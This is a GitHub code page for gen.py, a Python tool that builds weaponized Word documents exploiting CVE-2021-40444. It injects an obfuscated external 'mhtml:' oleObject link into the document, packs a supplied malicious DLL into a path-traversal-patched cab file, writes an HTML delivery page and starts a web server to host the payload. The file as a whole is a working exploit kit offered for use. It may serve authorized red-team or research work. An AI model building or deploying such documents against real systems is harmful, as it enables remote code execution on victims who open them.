-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathgen.py
275 lines (252 loc) · 9.29 KB
/
gen.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
#!/usr/bin/python3
# CVE-2021-40444
# Library
import argparse,zipfile,shutil,os,string,random,glob
from datetime import datetime
from bs4 import BeautifulSoup
# Colors Settings
class colors:
PURPLE = '\033[95m'
BLUE = '\033[94m'
CYAN = '\033[92m'
GREEN = '\033[92m'
RED = '\033[91m'
RESET = '\033[0m'
WHITEBOLD = '\033[1m'
ORANGE = '\033[1;33;40m'
cg = colors.GREEN
cr = colors.RESET
# Header
def header():
print('''
_______ ________ ___ ___ ___ __ _ _ ___ _ _ _ _ _ _
/ ____\ \ / / ____| |__ \ / _ \__ \/_ | | || | / _ \| || | | || | | || |
| | \ \ / /| |__ ______ ) | | | | ) || |______| || |_| | | | || |_| || |_| || |_
| | \ \/ / | __|______/ /| | | |/ / | |______|__ _| | | |__ _|__ _|__ _|
| |____ \ / | |____ / /_| |_| / /_ | | | | | |_| | | | | | | |
\_____| \/ |______| |____|\___/____||_| |_| \___/ |_| |_| |_|
By H0j3n''')
print(cg+"\n[+] "+cr+"Example : \n-> python3 gen.py -d document/Sample.docx -p payload/payload.dll -i \"http://10.10.10.10\" -t html/poc.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3")
# Function Uncompress Document
def uncompress_document(files,folder_name,file_name):
check_header = False
check_document = False
check_footer = False
basepath = 'output/'+folder_name
# Unzip
with zipfile.ZipFile(files, 'r') as zip_ref:
zip_ref.extractall(basepath+"/decompress")
decompress_path = basepath+"/decompress"
# Check .rels file
list_xml = [ decompress_path+"/word/"+i.split("/")[-1][:-5] for i in glob.glob(decompress_path+'/word/_rels/*.rels')]
list_rels = glob.glob(decompress_path+'/word/_rels/*.rels')
# Beautify (.xml.res) files
for i in list_rels:
temp = open(i).read()
temp = BeautifulSoup(temp, "xml").prettify()
with open(i, 'w') as out:
out.write(temp)
out.close()
# Beautify (.xml) files
for i in list_xml:
temp = open(i).read()
temp = BeautifulSoup(temp, "xml").prettify()
with open(i,'w') as out:
out.write(temp)
out.close()
return list_xml,list_rels
# Function Check Oleobject
def check_oleobject(list_rels,list_xml):
list_oleobject = []
for i in list_rels:
with open(i) as reads:
for k in reads:
if "oleobject" in k.strip().lower():
list_oleobject.append(i)
reads.close()
break
reads.close()
temp = []
for k in list_xml:
for j in list_oleobject:
if k.split("/")[-1] in j:
temp.append(k)
return list_oleobject,temp
# Function Modified Document
def modified_document(oleobject,mode_obfuscate,host,xml):
out = ""
with open(oleobject) as reads:
for i in reads:
if "oleobject" in i.strip().lower():
data = obfuscator('mhtml:'+host+'!x-usc:'+host,mode_obfuscate)
rid = i.strip().split("\"")[1]
temp = '''<Relationship Id="'''+rid+'''" Target="{PAYLOAD_HERE}" TargetMode="External" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"/>'''
out += temp
else:
out+= i.strip()
reads.close()
out = out.replace("{PAYLOAD_HERE}",data)
out = BeautifulSoup(out, "xml").prettify()
with open(oleobject, 'w') as f:
f.write(out)
# Convert to UTF-16BE (.xml.res)
if (mode_obfuscate == "2") or (mode_obfuscate == "3"):
path_backup = '/'.join(oleobject.split("/")[:-1])+"/"
os.system("cat "+oleobject+" | sed 's/utf-8/UTF-16BE/g' | sed 's/UTF8-8/UTF-16BE/g' | iconv -f UTF-8 -t UTF-16BE > "+path_backup+"backup")
os.system("mv "+path_backup+"backup "+oleobject)
# Edit (.xml)
out = ""
with open(xml) as reads:
for i in reads:
if "oleobject" in i.strip().lower():
temp = i.strip().replace("Embed","Link")[:-2] + ' UpdateMode="OnCall" />'
out += temp
else:
out += i.strip()
reads.close()
temp = BeautifulSoup(out, "xml").prettify()
with open(xml, 'w') as out:
out.write(temp)
# Function Obfuscator
def obfuscator(payload,checker):
# Convert to HTML Entity
if (checker == "1") or (checker == "3"):
temp = encode_htmlentity(payload)
payload = temp
return payload
# Function Encode HTML Entity
def encode_htmlentity(payload):
checklist = [".",":","!","/"]
temp = ""
for i in payload:
if i not in checklist:
temp += ("&#"+str(ord(i))+";")
else:
temp += i
return temp
# Function compressed document
def compressed_document(files,checker,folder_name):
# Chcker if rename is pass
if checker == "None":
docname = files.split("/")[1]
else:
docname = checker
# Zip the folder and files
shutil.make_archive('output/'+folder_name+"/web/"+docname, 'zip', 'output/'+folder_name+'/decompress')
os.rename('output/'+folder_name+"/web/"+docname+'.zip','output/'+folder_name+"/web/"+docname)
return docname
# Function Path cab
def patch_cab(cab_dir,inf):
m_off = 0x2d
f = open(cab_dir,'rb')
cab_data = f.read()
f.close()
out_cab_data = cab_data[:m_off]
out_cab_data += b'\x00\x5c\x41\x00'
out_cab_data += cab_data[m_off+4:]
out_cab_data = out_cab_data.replace(b'..\\'+inf.encode(), b'../'+inf.encode())
f = open(cab_dir,'wb')
f.write(out_cab_data)
f.close()
# Function write html
def write_html(host,files,inf,html,html_dir):
temp = open(html).read().replace("{HOST_CHANGE}",host+'/'+files).replace("{INF_CHANGE}",inf)
with open(html_dir, 'w') as out:
out.write(temp)
# Main
if __name__ == '__main__':
# Header
header()
# Argument Options
parser = argparse.ArgumentParser(description='A tool to generate document for CVE-2021-40444')
parser.add_argument('-d','--document', help='Get the docoument',required=True)
parser.add_argument('-i','--ip', help='Get Host',required=True)
parser.add_argument('-p','--payload', help='Get the malicious dll',required=True)
parser.add_argument('-t','--html', help='Get the html to be use',required=True)
parser.add_argument('-r','--rename',help='Rename the document file (output)',default="None")
parser.add_argument('-c','--cab',help='Rename the cab file (Make sure to put <name>.cab)',default="None")
parser.add_argument('-f','--inf',help='Rename the inf file (Make sure to put <name>.inf)',default="msword.inf")
parser.add_argument('-obf','--obfuscate',help='Comes with 3 Mode : 1 (HTML Entity), 2 (UTF-16BE), 3 (Both 1 & 2)')
parser.add_argument('-v','--verbose',help='Increase output verbosity',action="store_true")
args = parser.parse_args()
# Get time,file name,file extension, folder name
now = datetime.now()
file_name = ''.join(''.join(args.document.split(".")[:-1]).split("/")[1:])
file_ext = args.document.split(".")[-1]
folder_name = file_name+"_"+file_ext+"_"+now.strftime("%Y")+now.strftime("%m")+now.strftime("%d")+"_"+now.strftime("%H%M%S")
if args.verbose:
print(cg+"\n[+] "+cr+"Folder")
print("-> output/"+folder_name)
# Create New Output Folder & Web
os.system("mkdir output/"+folder_name)
os.system("mkdir output/"+folder_name+"/web/")
# (1) Uncompress Document
list_xml,list_rels = uncompress_document(args.document,folder_name,file_name)
if args.verbose:
print(cg+"\n[+] "+cr+"Uncompress Document")
print("-> List of .rels")
for i in list_rels:
print(" * "+i)
print("-> List of .xml")
for i in list_xml:
print(" * "+i)
# (2) Check files with oleobject
list_oleobject,list_xml = check_oleobject(list_rels,list_xml)
if len(list_oleobject) == 0:
print("\n[-] No OleObject found ! Please check your document again.")
exit(-1)
elif len(list_oleobject) > 1:
print("\n[-] Found 2 OleObject ! Please ensure that you put either header, document or footer.")
exit(-1)
if args.verbose:
print(cg+"\n[+] "+cr+"Found OleObject")
print("-> List of .rels")
print(" * "+list_oleobject[0])
print("-> List of .xml")
print(" * "+list_xml[0])
# (3) Modified Document
modified_document(list_oleobject[0],args.obfuscate,args.ip,list_xml[0])
if args.verbose:
print(cg+"\n[+] "+cr+"Document done modified")
# (4) Compressed Document
args.rename = compressed_document(args.document,args.rename,folder_name)
if args.verbose:
print(cg+"\n[+] "+cr+"Document done compressed")
print("-> "+'output/'+folder_name+"/web/"+args.rename)
# (5) Convert .dll to .cab
if args.cab == "None":
cabname = "payload.cab"
else:
cabname = args.cab
# 1. Copy .dll -> .inf
# 2. Make directory gen
# 3. Lcab convert .inf -> .cab
# 4. Create web directory
# 5. Move .cab to web directory
os.system("cp "+args.payload+" payload/"+args.inf+" ; mkdir payload/gen/ ; cd payload/gen/ ; lcab '../"+args.inf+"' ../"+cabname+" >/dev/null;")
os.system("rm -rf payload/gen;")
os.system("rm payload/"+args.inf)
os.system("mv payload/"+cabname+" output/"+folder_name+"/web/")
if args.verbose:
print(cg+"\n[+] "+cr+".dll convert to .cab")
print("->"+" output/"+folder_name+"/web/"+cabname)
# (6) Patch .cab
cab_dir = "output/"+folder_name+"/web/"+cabname
patch_cab(cab_dir,args.inf)
if args.verbose:
print(cg+"\n[+] "+cr+".cab patched")
# (7) Write index.html
html_dir = "output/"+folder_name+"/web/index.html"
write_html(args.ip,cabname,args.inf,args.html,html_dir)
if args.verbose:
print(cg+"\n[+] "+cr+"Done write index.html")
print("-> "+html_dir)
# (8) Host Server with instructions
os.chdir("output/"+folder_name+"/web/")
if args.verbose:
print(cg+"\n[+] "+cr+"Completed every steps")
print("-> List of files needed")
print(" * "+cab_dir)
print(" * "+html_dir)
print(" * "+'output/'+folder_name+"/web/"+args.rename)
os.system("echo ;python3 -m http.server 80")